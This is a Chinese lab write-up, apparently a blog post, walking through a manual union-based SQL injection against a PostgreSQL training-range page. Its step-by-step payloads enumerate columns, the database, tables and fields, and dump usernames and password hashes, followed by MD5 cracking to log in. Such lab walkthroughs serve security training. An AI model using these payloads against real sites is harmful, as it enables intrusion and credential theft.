墨者:通过手工解决SQL手工注入漏洞测试(PostgreSQL数据库)

一、SQL手工注入漏洞测试(PostgreSQL数据库)

本文以墨者学院靶场为例,演示PostgreSQL数据库的手工SQL注入全过程。以自己的靶场地址为准:http://124.70.71.251:47767/new_list.php?id=1

二、注入步骤详解(如下指令去掉了id之前的内容)

1. 判断字段数量

sql 复制代码
id=1 order by 5

通过不断递增order by后的数字,当报错时说明超出字段数。本例中order by 5报错,说明字段数小于5。

2. 确定回显位置

sql 复制代码
id=-1 union select null,'null','null',null 

使用null占位,发现第2、3列会回显数据。

3. 获取数据库名称

sql 复制代码
id=-1 union select null,current_database(),'null',null 

使用PostgreSQL的current_database()函数获取当前数据库名。

4. 获取所有表名

sql 复制代码
id=-1 union select null,string_agg(table_name,','),'null',null from information_schema.tables where table_schema='public'

使用string_agg()聚合函数,一次性获取public模式下的所有表名。

5. 获取字段名称

sql 复制代码
id=-1 union select null,string_agg(column_name, ','),'null',null from information_schema.columns where table_schema='public' and table_name='reg_users'

查询reg_users表的所有字段名,用逗号分隔显示。

6. 获取账号密码

sql 复制代码
id=-1 union select null,string_agg(name, ','),string_agg(password, ','),null from reg_users

一次性获取所有用户名和密码,分别显示在第2、3列。

7. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/

三、关键指令解析

指令/函数 说明 示例
order by 判断查询结果的列数 order by 5
union select 联合查询获取数据 union select 1,2,3
current_database() 获取当前数据库名 select current_database()
information_schema.tables 系统表存储所有表信息 select * from information_schema.tables
information_schema.columns 系统表存储所有列信息 select * from information_schema.columns
string_agg() PostgreSQL的字符串聚合函数 string_agg(name, ',')
table_schema 指定数据库模式(相当于MySQL的database) where table_schema='public'
相关推荐
这就是佬们吗3 分钟前
Python入门⑤-异常处理、文件操作与实战项目
开发语言·数据库·python·算法·pycharm
吴声子夜歌4 分钟前
MongoDB 4.x——SpringBoot框架整合
数据库·spring boot·mongodb
Database_Cool_35 分钟前
阿里云 Tair(企业级内存数据库)vs 腾讯云 Redis 云缓存深度对比:性能/数据结构/成本全维度 Benchmark
数据库·阿里云·缓存
流星白龙43 分钟前
【Redis】1.Redis特性
数据库·redis·缓存
奶糖 肥晨1 小时前
DBeaver 安装与 MySQL 连接配置教程
数据库·mysql
woshihuanglaoshi1 小时前
数据迁移与版本管理 - Flutter在鸿蒙平台实现数据库升级策略
数据库·学习·flutter·华为·harmonyos·鸿蒙·鸿蒙系统
java_logo3 小时前
Apache Doris Docker 部署指南:实时分析数据库实战
数据库·docker·apache·doris·apache doris·轩辕镜像·docker部署doris
广州灵眸科技有限公司10 小时前
xfce桌面触摸校准:基于灵眸科技EASY-EAl-Orin-Nano
数据库·windows·科技
憧憬成为web高手13 小时前
皮卡丘靶场速通--sql 2
数据库·sql·mybatis
段一凡-华北理工大学13 小时前
向量数据库实战:选型、调优与落地~系列文章12:文本分块策略实战:chunk_size 怎么选?重叠多少?
开发语言·数据库·后端·oracle·rust·工业智能体·高炉智能化